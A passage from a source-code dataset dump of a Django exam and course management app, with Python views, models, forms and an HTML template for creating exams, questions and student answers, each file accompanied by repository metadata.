request:\n\t\t:return rendered template:\n\t\t\"\"\"\n\t\tif not request.user.is_staff:\n\t\t\treturn HttpResponseForbidden()\n\n\t\tform = ExamForm(request.POST)\n\n\t\tif form.is_valid():\n\t\t\texam = form.instance\n\t\t\tform.save()\n\t\t\tmensaje = \"El examen '\"+exam.name+\"' fue agregado exitosamente\"\n\t\t\tmessages.add_message(request,messages.SUCCESS,mensaje)\n\t\t\treturn redirect(reverse_lazy('examenes:listar'))\n\n\t\tmensaje = \"Favor de llenar todos los campos\"\n\t\tmessages.add_message(request,messages.ERROR,mensaje)\n\t\treturn render_to_response('exams/create.html',\n\t\t\tcontext = RequestContext(request, locals()),\n\t\t\tstatus = 401\n\t\t)\n\ncreate = CreateExamView.as_view()\n\nclass ListExamsView(View):\n\t\"\"\" This view renders the list of exams available\n\t\"\"\"\n\t#TODO: Filtrar examenes por profesor\n\n\t@method_decorator(login_required)\n\tdef get(self,request):\n\t\tif request.user.is_staff:\n\t\t\texams = Exam.objects.active().filter(unit__course__teacher = request.user)\n\t\telse:\n\t\t\texams = Exam.objects.active().filter(Q(unit__course__students=request.user))\n\t\t\tfor e in exams:\n\t\t\t\tif len(ChosenAnswer.objects.active().filter(question__exam = e, student = request.user)) > 0:\n\t\t\t\t\te.completed = True\n\t\t\t\telse:\n\t\t\t\t\te.completed = False\n\t\t\t\t\tif not e.activated: exams.exclude(id = e.id)\n\n\t\treturn render_to_response('exams/list.html',context=RequestContext(request,locals()))\n\n\nlist = ListExamsView.as_view()\n\nclass ViewExamView(View):\n\n\t@method_decorator(login_required)\n\tdef get(self,request,exam_id=0):\n\n\t\ttry: exam = Exam.objects.active().get(id=exam_id)\n\t\texcept Exam.DoesNotExist:\n\t\t\treturn HttpResponseForbidden()\n\t\telse:\n\t\t\tpreguntas = Question.objects.active().filter(exam=exam)\n\t\t\tfor p in preguntas:\n\t\t\t\t\tp.answers = PossibleAnswer.objects.active().filter(question=p)\n\t\t\t\t\tp.num_answers = len(p.answers)\n\t\t\tpreguntas.order_by('?')\n\n\t\t\tif request.user.is_staff:\n\t\t\t\tquestion_form = QuestionForm()\n\t\t\t\treturn render_to_response('exams/detail.html',context = RequestContext(request, locals()))\n\t\t\telse:\n\t\t\t\ttime = int(exam.duration.hour) * 3600 + int(exam.duration.minute) * 60 + int(exam.duration.second)\n\t\t\t\treturn render_to_response('exams/student_test.html',context = RequestContext(request, locals()))\n\n\nview = ViewExamView.as_view()\n\nclass EditExamView(View):\n\n\t@method_decorator(login_required)\n\tdef get(self,request,exam_id=0):\n\t\tif not request.user.is_staff:\n\t\t\treturn HttpResponseForbidden()\n\n\t\ttry: exam = Exam.objects.active().get(id=exam_id)\n\t\texcept Exam.DoesNotExist:\n\t\t\treturn HttpResponseForbidden()\n\t\telse:\n\t\t\tif request.user.is_staff:\n\t\t\t\tform = ExamForm(instance=exam)\n\t\t\t\tquestion_form = QuestionForm()\n\t\t\t\tquestion_form.fields['concepts'].queryset = exam.unit.concepts.all()\n\t\t\t\tpreguntas = Question.objects.active().filter(exam=exam)\n\t\t\t\tfor p in preguntas:\n\t\t\t\t\tp.answers = PossibleAnswer.objects.active().filter(question=p)\n\t\t\t\t\tp.num_answers = len(p.answers)\n\t\t\t\treturn render_to_response('exams/edit.html',context = RequestContext(request, locals()))\n\t\t\telse:\n\t\t\t\treturn HttpResponseForbidden()\n\n\t@method_decorator(login_required)\n\tdef post(self,request,exam_id=0):\n\n\t\tif not request.user.is_staff:\n\t\t\treturn HttpResponseForbidden()\n\n\t\texam = Exam.objects.active().get(id=exam_id)\n\t\tform = ExamForm(request.POST, instance=exam)\n\n\t\tif form.is_valid():\n\t\t\texam = form.instance\n\t\t\tform.save()\n\t\t\tmensaje = \"El examen se actualizó correctamente\"\n\t\t\tmessages.add_message(request,messages.SUCCESS,mensaje)\n\t\t\treturn redirect(reverse('examenes:view',kwargs={'exam_id': exam.id}))\n\n\t\tmensaje = \"Favor de llenar todos los campos\"\n\t\tmessages.add_message(request,messages.ERROR,mensaje)\n\t\treturn render_to_response('exams/edit.html',context = RequestContext(request, locals()),status=401)\n\nedit = EditExamView.as_view()" }, { "alpha_fraction": 0.7391752600669861, "alphanum_fraction": 0.7402061820030212, "avg_line_length": 30.322580337524414, "blob_id": "ff10b6ea00e3e5d841a888a75564b7afab51ab80", "content_id": "386d858bda47ab2965725930fbeb74e3c579c655", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 970, "license_type": "no_license", "max_line_length": 102, "num_lines": 31, "path": "/apps/evaluation/models/_base.py", "repo_name": "AnGlez/RLS", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.db.models import Model as BaseModel\nfrom django.db.models import *\n\n__all__ = [ 'Model' ]\n\nclass ActiveManager(Manager):\n\t\"\"\" A utility class which adds support for filtering by active/inactive state. This class is provided\n\t\tto enforce the \"soft-deleting\" schema, required for proper report generation.\n\t\"\"\"\n\n\tdef inactive(self): return self.filter(active = False)\n\tdef active(self): return self.filter(active = True)\nclass Model(BaseModel):\n\t\"\"\" An adapted Model subclass which implements \"soft-deleting\". Soft-deleted models are not destroyed\n\t\tand removed from the database, but rather hidden from public. This allows historic reports to be\n\t\tgenerated without inconsistency issues.\n\t\"\"\"\n\n\tactive = BooleanField(\n\t\tdefault = True,\n\t\tverbose_name = _('is active')\n\t)\n\n\tobjects = ActiveManager()\n\n\n\tclass Meta(object):\n\t\tabstract = True" }, { "alpha_fraction": 0.7212310433387756, "alphanum_fraction": 0.7288135886192322, "avg_line_length": 34.046875, "blob_id": "4372c7f572d8d07a47a8d2430a99e37a14251197", "content_id": "29f2f0c50c9d49349ed62a6b8b6bf5c4f6b62cef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2242, "license_type": "no_license", "max_line_length": 108, "num_lines": 64, "path": "/apps/evaluation/views/tests.py", "repo_name": "AnGlez/RLS", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nfrom __future__ import unicode_literals\nfrom django.shortcuts import render_to_response, RequestContext\nfrom apps.evaluation.models import ChosenAnswer, PossibleAnswer, Exam,Question\nfrom django.contrib.auth.decorators import login_required\nfrom django.utils.decorators import method_decorator\nfrom apps.evaluation.decorators import ajax_required\nfrom django.views.generic import View\nfrom django.http import JsonResponse\nimport json\n\n__all__=[\n\t'answer',\n\t'results'\n]\n\nclass AnswerTestView(View):\n\t\"\"\" This view handles the test submission performed by students.\n\t\tThis view is called via AJAX requests, answers are received in JSON format and then stored in the database\n\t\"\"\"\n\t@method_decorator(login_required)\n\t@method_decorator(ajax_required)\n\tdef post(self,request):\n\n\t\tans = json.loads(request.POST['ans'])\n\t\tfor a in ans:\n\t\t\tpa = PossibleAnswer.objects.active().get(id=a['a_id'])\n\t\t\tif not ChosenAnswer.objects.active().filter(question=pa.question, student = request.user).exists():\n\t\t\t\tChosenAnswer.objects.create(student = request.user, question = pa.question, answer = pa)\n\t\t\telse:\n\t\t\t\tchosen = ChosenAnswer.objects.active().get(question = pa.question, student = request.user)\n\t\t\t\tchosen.answer = pa\n\t\t\t\tchosen.save()\n\n\t\treturn JsonResponse({\n\t\t\t\t\t'version': '1.0.0',\n\t\t\t\t\t'status': 201,\n\t\t\t\t}, status = 201)\n\nanswer = AnswerTestView.as_view()\n\nclass ViewResultsView(View):\n\n\t@method_decorator(login_required)\n\tdef get(self,request,exam_id):\n\n\t\ttest = Exam.objects.active().get(id = exam_id)\n\t\tquestions = Question.objects.active().filter(exam =test)\n\t\tconcepts = set()\n\t\tmissing_concepts = []\n\t\tfor q in questions:\n\t\t\tq.ans = ChosenAnswer.objects.active().filter(question = q, student=request.user)\n\t\t\tcorrect = len(q.ans) > 0 and q.ans[0].answer.correct\n\t\t\tconcepts.update(q.concepts.all())\n\t\t\tif not correct:\n\t\t\t\tq.correct = PossibleAnswer.objects.filter(question = q, correct = True)\n\t\t\t\tmissing_concepts.extend(q.concepts.all())\n\t\tcount = len(concepts) - len(missing_concepts)\n\t\tif len(concepts) > 0 : percentage = count * 100 / len(concepts)\n\t\telse : percentage = 0\n\t\treturn render_to_response('results/exam_results.html',context=RequestContext(request,locals()))\n\nresults = ViewResultsView.as_view()" }, { "alpha_fraction": 0.709406316280365, "alphanum_fraction": 0.7148278951644897, "avg_line_length": 31.65486717224121, "blob_id": "97da18e24f294e097d1b75d4eaffd1cbbbaf084f", "content_id": "4fa5f396f43dd1c8b43f89e4bdc8c75575517fb5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3689, "license_type": "no_license", "max_line_length": 121, "num_lines": 113, "path": "/apps/evaluation/views/courses.py", "repo_name": "AnGlez/RLS", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nfrom __future__ import unicode_literals\nfrom apps.evaluation.models import Course, Unit, Exam, ChosenAnswer\nfrom django.shortcuts import render_to_response, RequestContext\nfrom django.contrib.auth.decorators import login_required\nfrom django.utils.decorators import method_decorator\nfrom apps.evaluation.decorators import ajax_required\nfrom django.contrib.auth.models import User\nfrom django.views.generic import View\nfrom django.http import JsonResponse\nimport json\n\n__all__=[\n\t'create',\n\t'view',\n\t'list'\n]\n\nclass ListCourseView(View):\n\t\"\"\" This view displays the list of courses that students or teachers are enrolled in (or teach)\n\t\"\"\"\n\n\t@method_decorator(login_required)\n\tdef get(self,request):\n\t\t\"\"\"\n\t\tThis method obtains the courses an instructor teaches or that a student takes\n\t\tand renders the view that shows them\n\t\t:param request:\n\t\t:return rendered template:\n\t\t\"\"\"\n\t\tif request.user.is_staff:\n\t\t\tcourses = Course.objects.active().filter(teacher=request.user)\n\t\telse:\n\t\t\tcourses = Course.objects.active().filter(students=request.user)\n\n\t\treturn render_to_response('courses/list.html',context = RequestContext(request, locals()))\n\nlist = ListCourseView.as_view()\n\nclass ViewCourseView(View):\n\t\"\"\" This view displays the course's detail info: units, exams and students enrolled\n\t\tThe information shown depends on the user's role. Teacher can see all the course's related data\n\t\twhile students can only see the exams assigned to it.\n\t\"\"\"\n\t@method_decorator(login_required)\n\tdef get(self, request, course_id):\n\t\t\"\"\"\n\t\tThis method obtains every unit related to the course. If the user's role is staff (teacher) the students enrolled\n\t\tthe students variable contains only the students enrolled in the course while the users variable contains all the users\n\t\tstored in the database excluding the ones that are already enrolled. This helps teacher add more students\n\t\t:param request:\n\t\t:param course_id:\n\t\t:return rendered page:\n\t\t\"\"\"\n\n\t\tcourse = Course.objects.active().get(id=course_id)\n\t\tunits = Unit.objects.active().filter(course=course)\n\t\texams = []\n\t\tfor u in units:\n\t\t\t\texams.extend(Exam.objects.active().filter(unit= u).all())\n\n\t\tif request.user.is_staff:\n\t\t\tstudents = course.students.all()\n\t\t\tusers = User.objects.exclude(id__in=students.values('id'))\n\t\t\treturn render_to_response('courses/detail.html', context=RequestContext(request, locals()))\n\t\telse:\n\t\t\tfor e in exams:\n\t\t\t\tif len(ChosenAnswer.objects.active().filter(question__exam = e, student = request.user)) > 0:\n\t\t\t\t\te.completed = True\n\t\t\t\telse:\n\t\t\t\t\te.completed = False\n\t\t\treturn render_to_response('courses/detail-student.html', context=RequestContext(request, locals()))\n\n\n\n\t@method_decorator(login_required)\n\t@method_decorator(ajax_required)\n\tdef post(self,request,course_id):\n\t\t\"\"\"\n\t\tThis method is in charge of enrolling or deleting users from a course\n\n\t\t:param request:\n\t\t:param course_id:\n\t\t:return JSONResponse:\n\t\t\"\"\"\n\t\tcourse = Course.objects.active().get(id=course_id)\n\t\taction = request.POST['action']\n\n\t\tif action == 'borrar':\n\t\t\tstudent = User.objects.all().get(id=request.POST['user_ids'])\n\t\t\tcourse.students.remove(student)\n\n\t\t\treturn JsonResponse({\n\t\t\t\t\t'version': '1.0.0',\n\t\t\t\t\t'status': 201,\n\t\t\t\t}, status = 201)\n\n\t\telif action == 'guardar':\n\t\t\tids = json.loads(request.POST['user_ids'])\n\t\t\tstudents = []\n\t\t\tfor i in ids:\n\t\t\t\ts = User.objects.all().get(id = i)\n\t\t\t\tcourse.students.add(s)\n\t\t\t\tstudents.append({'id': s.id, 'username': s.username, 'first_name':s.first_name, 'last_name':s.last_name})\n\n\t\t\treturn JsonResponse({\n\t\t\t\t\t'version': '1.0.0',\n\t\t\t\t\t'status': 201,\n\t\t\t\t\t'data': {'students': json.dumps(students)}\n\t\t\t\t}, status = 201)\n\nview = ViewCourseView.as_view()" }, { "alpha_fraction": 0.6388155817985535, "alphanum_fraction": 0.6452653408050537, "avg_line_length": 27.433332443237305, "blob_id": "92648521598a446bb9c3fe89c489e98c37ad0370", "content_id": "a7f9bab251bf2dfafcadbd027e6734bc5d47e861", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3413, "license_type": "no_license", "max_line_length": 117, "num_lines": 120, "path": "/apps/evaluation/models/exams.py", "repo_name": "AnGlez/RLS", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.db.models import *\nfrom _base import Model\n\nclass Exam(Model):\n\t\"\"\" Representation of a unit's exam. An exam cannot be updated if it has already been answered by a student.\n\t\tFields:\n\t\t\t- instructions: text containing special directions for students\n\t\t\t- unit: fk to the unit it evaluates\n\t\t\t- questions: set of questions\n\t\"\"\"\n\tname = CharField(\n\t\tmax_length=60\n\t)\n\tinstructions = CharField(\n\t\tmax_length=400,\n\t\tblank=True\n\t)\n\tunit = ForeignKey('evaluation.Unit',\n\t related_name= 'unit',\n\t null= False,\n\t blank=False\n\t)\n\tactivated = BooleanField(default=False)\n\tduration = TimeField(blank=False, default='01:00:00')\n\n\tdef __unicode__(self):\n\t\treturn self.name\n\n\tclass Meta(object):\n\t\tverbose_name=_('examen')\n\t\tverbose_name_plural= _('exámenes')\n\t\tapp_label = 'evaluation'\n\nclass Question(Model):\n\t\"\"\" Question that will be evaluated in an exam. A question may be present in more than one exam.\n\t\tFields:\n\t\t\t- sentence: question description\n\t\t\t- type: whether it's multiple choice, multiple with more than one correct answer or open\n\t\t\t- concepts: concepts being evaluated in such question\n\t\t\t- correct_answer: if it's not an open question, reference to the expected answer\n\t\t\t-points: question's value if it is answered correctly\n\n\t\"\"\"\n\n\tsentence = TextField(blank=False)\n\n\tconcepts = ManyToManyField('evaluation.Concept',\n\t related_name='related_concepts',\n\t blank=True,\n\t null=True\n\t)\n\n\texam = ForeignKey('evaluation.Exam',\n\t related_name='exam',\n\t null = True\n\t )\n\n\tdef __unicode__(self):\n\t\treturn self.sentence\n\n\tclass Meta(object):\n\t\tverbose_name=_('pregunta')\n\t\tverbose_name_plural = _('preguntas')\n\t\tapp_label = 'evaluation'\n\nclass Concept(Model):\n\t\"\"\" Concept being evaluated per question or unit. A concept's prerequisite is the knowledge needed to understand it.\n\t\tIf the prerequisite is marked as a misconception, the present concept will also be considered a misconception.\n\t\tFields:\n\t\t\t- name: concept's title\n\t\t\t- prerequisite: predecessor concept\n\t\"\"\"\n\tname = CharField(\n\t\tblank= False,\n\t\tmax_length= 200,\n\n\t)\n\trequired_by = ManyToManyField('evaluation.Concept',\n\t\t related_name='prerequisite',\n\t blank= True,\n\t null = True\n\t)\n\tposX = FloatField(blank=True, null=True)\n\tposY = FloatField(blank=True, null=True)\n\tresource = URLField(max_length=500, null=True, blank=True)\n\tresource_description = CharField(null=True, blank=True, max_length=1000)\n\n\tdef __unicode__(self):\n\t\treturn self.name\n\n\tclass Meta(object):\n\t\tverbose_name= _('concepto')\n\t\tverbose_name_plural = _('conceptos')\n\t\tapp_label = 'evaluation'\n\n\nclass PossibleAnswer(Model):\n\t\"\"\" Possible answers for multiple choice questions. Fields:\n\t\t-Text\n\t\t-Question\n\t\"\"\"\n\ttext = TextField(\n\t\tblank= False\n\t)\n\tquestion = ForeignKey('evaluation.Question',\n\t related_name='question',\n\t null=True\n\t )\n\tcorrect = BooleanField(default=False)\n\n\tdef __unicode__(self):\n\t\treturn self.text\n\n\tclass Meta(object):\n\t\tverbose_name = _('opción')\n\t\tverbose_name_plural = _('opciones')\n\t\tapp_label = 'evaluation'" }, { "alpha_fraction": 0.7666666507720947, "alphanum_fraction": 0.7666666507720947, "avg_line_length": 29, "blob_id": "05746e5c6a23f053c8ebc28970be9383b2483319", "content_id": "be0d730478eab6fd53a921744abed1518a5f03d8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 60, "license_type": "no_license", "max_line_length": 39, "num_lines": 2, "path": "/apps/evaluation/tests/__init__.py", "repo_name": "AnGlez/RLS", "src_encoding": "UTF-8", "text": "from __future__ import unicode_literals\nfrom exams import *\n" }, { "alpha_fraction": 0.4391134977340698, "alphanum_fraction": 0.4432537853717804, "avg_line_length": 37.37383270263672, "blob_id": "40b7477ea87a2a214b90bbe76b717c277d930ce4", "content_id": "7800c294d74c65cca7d354fc349fc8fdba79429a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 4106, "license_type": "no_license", "max_line_length": 101, "num_lines": 107, "path": "/apps/evaluation/templates/exams/create.html", "repo_name": "AnGlez/RLS", "src_encoding": "UTF-8", "text": "{% extends 'base/base.html' %}\n{% load static i18n widget_tweaks %}\n{% block title %}Crear examen{% endblock title %}\n{% block content %}\n <h2>Nuevo examen</h2>\n {% if messages %}\n <div class=\"row\">\n <div class=\"messages\">\n {% for msg in messages %}\n {% if msg.level_tag == 'error' %}\n <div class=\"alert alert-danger\" role=\"alert\">\n {% else %}\n <div class=\"alert alert-info\" role=\"alert\">\n {% endif %}\n {{msg.message}}\n <button type=\"button\" class=\"close\" data-dismiss=\"alert\" aria-label=\"Close\">\n <span aria-hidden=\"true\">&times;</span>\n </button>\n </div>\n {% endfor %}\n </div>\n </div>\n {% endif %}\n {% if form.non_field_errors %}\n {% for error in form.non_field_errors %}\n <div class=\"alert-box\">{{ error }}</div>\n {% endfor %}\n {% endif %}\n <!-- EMPIEZA FORMA EXAMEN-->\n <form action=\"{% url 'examenes:crear' %}\" method=\"post\" class=\"form-horizontal\">\n {% csrf_token %}\n <div class=\"form-group\">\n <label class=\"col-sm-2 control-label\">Nombre</label>\n <div class=\"col-sm-8\">\n {{ form.name }}\n {% if form.name.errors %}\n {% for error in form.name.errors %}\n <small class=\"error\">{% blocktrans %}{{ error }}{% endblocktrans %}</small>\n {% endfor %}\n {% endif %}\n </div>\n </div>\n <div class=\"form-group\">\n <label class=\"col-sm-2 control-label\">Activado</label>\n <div class=\"col-sm-8\">\n {{ form.activated }}\n </div>\n </div>\n\n <div class=\"form-group\">\n <label class=\"col-sm-2 control-label\">Unidad</label>\n <div class=\"col-sm-8\">\n {{ form.unit }}\n\n {% if form.unit.errors %}\n {% for error in form.unit.errors %}\n <small class=\"error\">{% blocktrans %}{{ error }}{% endblocktrans %}</small>\n {% endfor %}\n {% endif %}\n </div>\n </div>\n <div class=\"form-group\">\n <label class=\"col-sm-2 control-label\">Instrucciones</label>\n <div class=\"col-sm-8\">\n {{ form.instructions }}\n {% if form.instructions.errors %}\n {% for error in form.instructions.errors %}\n <small class=\"error\">{% blocktrans %}{{ error }}{% endblocktrans %}</small>\n {% endfor %}\n {% endif %}\n </div>\n </div>\n <div class=\"form-group\">\n <label class=\"col-sm-2 control-label\">Tiempo</label>\n <div class=\"col-sm-8\">\n {{ form.duration }}\n {% if form.duration.errors %}\n {% for error in form.duration.errors %}\n <small class=\"error\">{% blocktrans %}{{ error }}{% endblocktrans %}</small>\n {% endfor %}\n {% endif %}\n </div>\n </div>\n <!-- ACABA FORMA EXAMEN-->\n <!-- Botones guardar/cancelar-->\n <div class=\" col-md-6 col-xs-10 btn-group btn-group-justified guardar-cancelar\" role=\"group\">\n <div class=\"btn-group\" role=\"group\">\n <button type=\"submit\" class=\"btn btn-primary\">Guardar</button>\n </div>\n <div class=\"btn-group\" role=\"group\">\n <a href=\"{% url 'examenes:listar' %}\" class=\"btn btn-default\">Cancelar</a>\n </div>\n </div>\n <!-- Acaba guardar/cancelar-->\n </form>\n\n <script>\n $(document).ready(function(){\n $(\"[name='activated']\").bootstrapSwitch();\n $('#time').bootstrapMaterialDatePicker({\n date: false,\n\t\t\t\tshortTime: false,\n\t\t\t\tformat: 'HH:mm'\n });\n })\n </script>\n{% endblock %}\n" }, { "alpha_fraction": 0.7434367537498474, "alphanum_fraction": 0.7446300983428955, "avg_line_length": 28.85714340209961, "blob_id": "f568c0ec117f273adbc0f546f566f48497ce0dcd", "content_id": "0503bdcf54c63a5ca8639232bd7c4b5965120ea5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 838, "license_type": "no_license", "max_line_length": 95, "num_lines": 28, "path": "/apps/evaluation/views/reports.py", "repo_name": "AnGlez/RLS", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom django.shortcuts import redirect, render_to_response, RequestContext\nfrom apps.evaluation.models import Exam, Unit, ChosenAnswer\nfrom django.contrib.auth.decorators import login_required\nfrom django.utils.decorators import method_decorator\nfrom django.views.generic import View\n\n__all__ = [\n\t'view'\n]\n\nclass ViewReportView(View):\n\n\t@method_decorator(login_required)\n\tdef get(self, request,unit_id):\n\n\t\tunit = Unit.objects.active().get(id = unit_id)\n\t\tif request.user.is_staff:\n\t\t\tpass\n\t\telse:\n\t\t\texams = Exam.objects.active().filter(unit = unit)\n\t\t\t#results = ChosenAnswer.objects().filter(student = request.user, question = unit.exam)\n\t\treturn render_to_response('courses/view-unit.html', context=RequestContext(request,locals()))\n\n\n\nview = ViewReportView.as_view()\n\n\n" }, { "alpha_fraction": 0.8471337556838989, "alphanum_fraction": 0.8471337556838989, "avg_line_length": 16.55555534362793, "blob_id": "cddbcc7a6ab2ee6971cd5e45dfbeb8a7190eeaa6", "content_id": "e449c79e104ddc83774cb8c2386641f3d4b6f30c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 157, "license_type": "no_license", "max_line_length": 39, "num_lines": 9, "path": "/apps/evaluation/views/__init__.py", "repo_name": "AnGlez/RLS", "src_encoding": "UTF-8", "text": "from __future__ import unicode_literals\nimport exams\nimport accounts\nimport questions\nimport concepts\nimport courses\nimport tests\nimport units\nimport reports" }, { "alpha_fraction": 0.800000011920929, "alphanum_fraction": 0.800000011920929, "avg_line_length": 16.77777862548828, "blob_id": "98a916508afe652ba4d295d3cbfa18ca2d5fc88e", "content_id": "fefeb77113dfbe63ce03442ea4a3d65bf39b1d67", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 320, "license_type": "no_license", "max_line_length": 37, "num_lines": 18, "path": "/apps/evaluation/admin/admin.py", "repo_name": "AnGlez/RLS", "src_encoding": "UTF-8", "text": "from django.contrib.admin import site\nfrom apps.evaluation.models import (\n\tCourse,\n\tUnit,\n\tExam,\n\tQuestion,\n\tConcept,\n\tPossibleAnswer,\n\tChosenAnswer\n)\n\nsite.register(Course)\nsite.register(Exam)\nsite.register(Unit)\nsite.register(Question)\nsite.register(Concept)\nsite.register(PossibleAnswer)\nsite.register(ChosenAnswer)\n" }, { "alpha_fraction": 0.7184615135192871, "alphanum_fraction": 0.7261538505554199, "avg_line_length": 29.186046600341797, "blob_id": "0db54940838b2ad15b65108509e99cfa86d8ba8c", "content_id": "c9989b4ee4acca97829a3f1eb610eb7293af3944", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1300, "license_type": "no_license", "max_line_length": 98, "num_lines": 43, "path": "/apps/evaluation/views/units.py", "repo_name": "AnGlez/RLS", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom django.shortcuts import redirect, render_to_response, RequestContext\nfrom apps.evaluation.models import Concept,Course, Unit\nfrom django.contrib.auth.decorators import login_required\nfrom django.utils.decorators import method_decorator\nfrom apps.evaluation.decorators import ajax_required\nfrom django.http import HttpResponseForbidden\nfrom django.views.generic import View\nfrom django.http import JsonResponse\nimport json\n\n__all__ = [\n\t'create'\n]\n\nclass CreateUnitView(View):\n\t\"\"\" This view handles unit creation along with its related concepts\n\t\tEvery concept is previously created so the request contains a list of the existing concepts' ids\n\t\tand they are stored as the unit's related concepts\n\t\"\"\"\n\n\tdef post(self, request,course_id):\n\t\t#TODO: validar\n\n\t\tcourse = Course.objects.active().get(id= course_id)\n\t\tname = request.POST['name']\n\t\tconcept_ids = request.POST['concepts']\n\n\t\tunit = Unit(name = name, course = course)\n\t\tunit.save()\n\t\tfor c in json.loads(concept_ids):\n\t\t\tunit.concepts.add(Concept.objects.active().get(id = c))\n\n\t\tunit.save()\n\t\treturn JsonResponse({\n\t\t\t\t\t\t'version': '1.0.0',\n\t\t\t\t\t\t'status': 201,\n\t\t\t\t\t\t'data': {'name': unit.name, 'id': unit.id}\n\t\t\t\t\t}, status = 201)\n\n\ncreate = CreateUnitView.as_view()\n\n\n" }, { "alpha_fraction": 0.7202680110931396, "alphanum_fraction": 0.7294807434082031, "avg_line_length": 30.447368621826172, "blob_id": "56e3bfc45c68c728188ee85aeed1b86a854de313", "content_id": "d5af487aa2d4bccd26fcbdee930f915a6f54c0d6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1195, "license_type": "no_license", "max_line_length": 84, "num_lines": 38, "path": "/apps/evaluation/forms/accounts.py", "repo_name": "AnGlez/RLS", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom django.utils.http import urlsafe_base64_encode as base64_encode\nfrom django.contrib.sites.shortcuts import get_current_site\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.template.loader import render_to_string\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.auth import authenticate\nfrom django.shortcuts import RequestContext\nfrom django.forms import *\n\n__all__ = [ 'LoginForm' ]\nUser = get_user_model()\n\nclass LoginForm(Form):\n\n\tusername = CharField(\n\t\tmax_length = 255,\n\t\trequired = True,\n\t\twidget = TextInput(attrs = { 'placeholder': _('Usuario') })\n\t)\n\tpassword = CharField(\n\t\tmax_length = 128,\n\t\trequired = True,\n\t\twidget = PasswordInput(attrs = { 'placeholder': _('Contraseña') })\n\t)\n\n\tdef clean(self):\n\n\t\tusername, password = self.cleaned_data['username'], self.cleaned_data['password']\n\t\tuser = authenticate(username = username, password = password)\n\n\t\tif user is not None:\n\n\t\t\tif user.is_active: self.user = user\n\t\t\telse: raise ValidationError(_('El usuario no se encuentra activo en el sistema'))\n\n\t\telse: raise ValidationError(_('Correo electronico/contraseña erronea'))" }, { "alpha_fraction": 0.7241813540458679, "alphanum_fraction": 0.7302266955375671, "avg_line_length": 31.28455352783203, "blob_id": "82a0a37e50ff0a099cf57ea324c9dbc3e1b555d6", "content_id": "9413c86ebdf083b9799d349046cab6a6c7ff4d84", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3971, "license_type": "no_license", "max_line_length": 105, "num_lines": 123, "path": "/apps/evaluation/views/questions.py", "repo_name": "AnGlez/RLS", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom apps.evaluation.models import Question, PossibleAnswer, Exam, Unit,Concept\nfrom django.shortcuts import redirect, render_to_response, RequestContext\nfrom django.http import HttpResponseForbidden, HttpResponse\nfrom django.contrib.auth.decorators import login_required\nfrom django.views.decorators.csrf import csrf_protect\nfrom django.utils.decorators import method_decorator\nfrom apps.evaluation.decorators import ajax_required\nfrom apps.evaluation.forms import QuestionForm\nfrom django.core.urlresolvers import reverse\nfrom django.views.generic import View\nfrom django.http import JsonResponse\nfrom django.contrib import messages\n\n__all__=[\n\t'create',\n\t'edit'\n]\n\nclass AddQuestionView(View):\n\n\t\"\"\" This view handles question registry via ajax requests\n\n\t\"\"\"\n\t@method_decorator(login_required)\n\t@method_decorator(ajax_required)\n\tdef get(self,request):\n\t\texam = Exam.objects.get(id =request.GET['exam'])\n\t\tquestions = Question.objects.active().filter(exam=exam)\n\t\tconcepts = exam.unit.concepts.all()\n\t\treturn JsonResponse({\n\t\t\t\t'version': '1.0.0',\n\t\t\t\t'status': 201,\n\t\t\t\t'data': { 'questions': questions }\n\t\t\t}, status = 201)\n\n\n\t@method_decorator(login_required)\n\t@method_decorator(ajax_required)\n\t@method_decorator(csrf_protect)\n\tdef post(self,request):\n\t\t\"\"\" This makes the exam persistent as well as its options\n\t\t:param request:\n\t\t:return JsonResponse:\n\t\t\"\"\"\n\t\tex = Exam.objects.active().get(id=request.POST['exam'])\n\n\t\tq = Question(\n\t\t\tsentence = request.POST['sentence'],\n\t\t\texam = ex\n\t\t)\n\t\tq.save()\n\t\tconcepts = request.POST.getlist('concepts[]')\n\n\t\tfor c in concepts:\n\t\t\tcon = Concept.objects.get(id=c)\n\t\t\tq.concepts.add(con)\n\t\tq.save()\n\t\tanswers = request.POST.getlist('answers[]')\n\t\tfor a in answers:\n\t\t\tans = PossibleAnswer(\n\t\t\t\ttext = a,\n\t\t\t\tquestion = q\n\t\t\t)\n\t\t\tif ans.text == request.POST['correct_answer']:\n\t\t\t\tans.correct = True\n\t\t\tans.save()\n\n\t\treturn JsonResponse({\n\t\t\t\t'version': '1.0.0',\n\t\t\t\t'status': 201,\n\t\t\t\t'data': { 'sentence': q.sentence, 'id':q.id}\n\t\t\t}, status = 201)\n\ncreate = AddQuestionView.as_view()\n\nclass EditQuestionView(View):\n\t\"\"\" This view handles question edition as well as possible answer edition.\n\t\"\"\"\n\t@method_decorator(login_required)\n\tdef 